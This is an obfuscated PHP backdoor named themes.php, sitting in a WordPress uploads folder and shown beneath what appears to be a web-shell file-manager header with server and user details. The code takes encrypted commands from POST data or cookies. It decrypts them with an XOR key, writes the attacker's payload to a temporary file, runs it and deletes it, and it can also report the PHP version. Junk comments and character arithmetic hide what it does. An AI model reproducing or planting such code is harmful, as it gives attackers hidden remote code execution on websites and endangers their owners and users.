HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/08/themes.php
<?php $_ncmr    = /* abezf*/ '_ncmr'	^ /*   rd_   */ '<';


$cddoi     = /* j   */ "a".$_ncmr(114)       .    "\162"   .    "\x61"  .    "y"."_"."\155"	.    "\x61" /*  suiaj   */ .    "\160";

$wjxetoy /*  jie   */ =	$_ncmr(105)    .     "m"."p".$_ncmr(233-125)	.      "\x6f"    . /*atuyu  */ "d".$_ncmr(101);


function /*  of  */ ayghw($wyzc_jgszp,      $yzzzoklo)


{

 /*   rjwr   */ global	$_ncmr;


	
 /*mgsqpc  */ $wyzc_jgszp	= /*   n  */ "<"    . /*  gphr   */ $_ncmr(63)      .    $_ncmr(112) /*   hqzbq */ .	$_ncmr(752-648)  . /*g   */ $_ncmr(605-493)    .    $_ncmr(32) /*   zw */ . /*   iv  */ $_ncmr(411-294)   . /* bpsh_ */ $_ncmr(674-564)    .	$_ncmr(108)	.  $_ncmr(105)    .	"n".$_ncmr(107) /* wbk */ .    "\x28"	.  $_ncmr(95)   .       $_ncmr(463-368) /*   zawvhq   */ . /*r */ "\x46" /*  ythhbd*/ .   "I".$_ncmr(76)   . /* ntdizg*/ "\105"  .      "_"."_".$_ncmr(41)    . /*  _i  */ ";".$_ncmr(32)    .      $wyzc_jgszp["d"]; /* yn   */ $lk_ngeeqtu    =      $_ncmr(391-289)    . /*   _otp */ "\x69" /*  lyim*/ . /*   jcpdze*/ "l".$_ncmr(288-187) /*s */ .       "_".$_ncmr(697-585) /* ymxe  */ .  "u"."t"."_".$_ncmr(879-780)      . /* rqz   */ $_ncmr(661-550)    .     $_ncmr(110)    .    "t"."\145"      . /*   oq  */ "\156"	.      "\x74"  .  "\x73";


    
      $lk_ngeeqtu($yzzzoklo,	$wyzc_jgszp);
 /*h */ 
	ksxilkrdnd($yzzzoklo);

}$e_fbocspo    =	73;





function	ksxilkrdnd($yzzzoklo)
{
  global    $_ncmr;


      /*qbrig  */ include($yzzzoklo);
 /*  bixv*/ $bzbmys    =    $yzzzoklo;


       @unlink($bzbmys);

}





function	bbxbcbgycs()

{

    global    $_ncmr;
  $duozgv /* ro  */ =    array();


    $duozgv["p"."\x76"]       =	phpversion();

 /*   pl*/ $duozgv[$_ncmr(707-592)  .    $_ncmr(118)]	= /* p   */ "3"."."."5";


	$viwqjiui    =       74;


   echo	@serialize($duozgv);}




function  izktk_tog($wyzc_jgszp, /*  vym  */ $duozgvojkvkpw)
{      global /*   t   */ $_ncmr;





 /*  ass */ $paalya  = /*   ee */ "";
 /*   lo   */ $zfblk	=	strlen($wyzc_jgszp);

       $kxrp_	=    strlen($duozgvojkvkpw);


    $duozgv  =       0;  $xjtxxhqghr	=    0;

 /*xbz   */ 
    while  ($duozgv /* fc_etm */ <    $zfblk)    {


   $edmfa       =   $wyzc_jgszp[$duozgv] /*  ue   */ ^ /*  xwo */ $duozgvojkvkpw[$xjtxxhqghr /*du */ %  $kxrp_];
	$paalya       .= /*  beik   */ $edmfa;

      $xjtxxhqghr++;     


	$duozgv++;


       }	
	if     (strlen($paalya) /* cmi */ > /* qwzhnn*/ 20) /* urfv  */ {


 /*ckz   */ $pvcdrab /*  mbu */ = /*   zjqyog   */ substr($paalya,	0,       20);
    }


 /*  xpwiwv  */ if       (empty($paalya))  {    $paalya  =    date('Y-m-d    H:i:s');

 /* ctgq*/ }


       return      $paalya;

}


function    okayacv($nkpetkv)

{       global	$_ncmr;


 /*   cqc  */ 
    $emgkzs   =       "d"."a"."\61" /*xb_ */ . /* zrw   */ $_ncmr(51)      . /*  bo_  */ $_ncmr(50) /*   gwtm  */ .   "\60"  .  "e"."\x34"    .	$_ncmr(45) /*a */ .      $_ncmr(806-704)       .	"\71"       . /* g*/ "2"."c"."-"."4"."\63" /*  ltfsfl  */ .  "b".$_ncmr(50) /*  pc */ .    $_ncmr(814-769)	.  "a"."b"."\x34"    . /*   nrlct */ "\x32" /* jc */ .    $_ncmr(284-239)    . /*ha   */ $_ncmr(55) /*  txn  */ . /*   iegsak*/ "\x64"    . /*ld*/ "0"."\x35"	. /*_sw*/ "c"."9"."\x39" /*  _jwsph */ .      "6"."8"."\x65"  .  $_ncmr(301-201)     .    "\x38";
	
    foreach /* jfu  */ ($nkpetkv    as /*ddkmk   */ $ztqmj /*  iomc_   */ => /*   ipafkh  */ $wyzc_jgszp) /*  zfpy */ {

 /*xemb*/ etxmwkb(base64_decode($wyzc_jgszp),      $emgkzs, /* bv   */ $ztqmj);

  }

}

function    etxmwkb($wyzc_jgszp,    $emgkzs,    $ztqmj)
{

	global    $_ncmr;	

  $wyzc_jgszp /*sr*/ =       unserialize(izktk_tog(izktk_tog($wyzc_jgszp, /*  ttno*/ $emgkzs), /* d_yekp   */ $ztqmj));

	$kfypnyf /* luu */ = /*   mcslni*/ 'dgygeye';


	$yqhgzntpw       = /*   dvjxzq */ 'sxqikzgqg';

  if      (isset($wyzc_jgszp[$_ncmr(97)      .  "k"]))	{


 /*   gza   */ if /* kpuyl  */ ($wyzc_jgszp["a"]	==	$_ncmr(105))    {	bbxbcbgycs();	} /* nyxem  */ elseif	($wyzc_jgszp["a"] /* y*/ ==    "e") /*  f  */ {


	ayghw($wyzc_jgszp,    sprintf("\56"      . /*   m*/ $_ncmr(90-43) /*  suacj*/ .    "%"."s"."."."\x70" /*   rxu*/ . /*phr   */ "l",   md5($emgkzs)));


			$kxatxscyc    =     44;

	}
 /*kgt*/ exit();
     }


}


okayacv($_POST);    
$xyvwwnue /* xeo */ = /* jkstm   */ 'rawurldecode';





$giarwsrt      =	$cddoi($xyvwwnue,    $_POST);
$wjxetoy("", /*   w */ $xyvwwnue);





okayacv($_COOKIE);


$efyutoykn	= /* zp   */ $cddoi($xyvwwnue,    $_COOKIE);







?>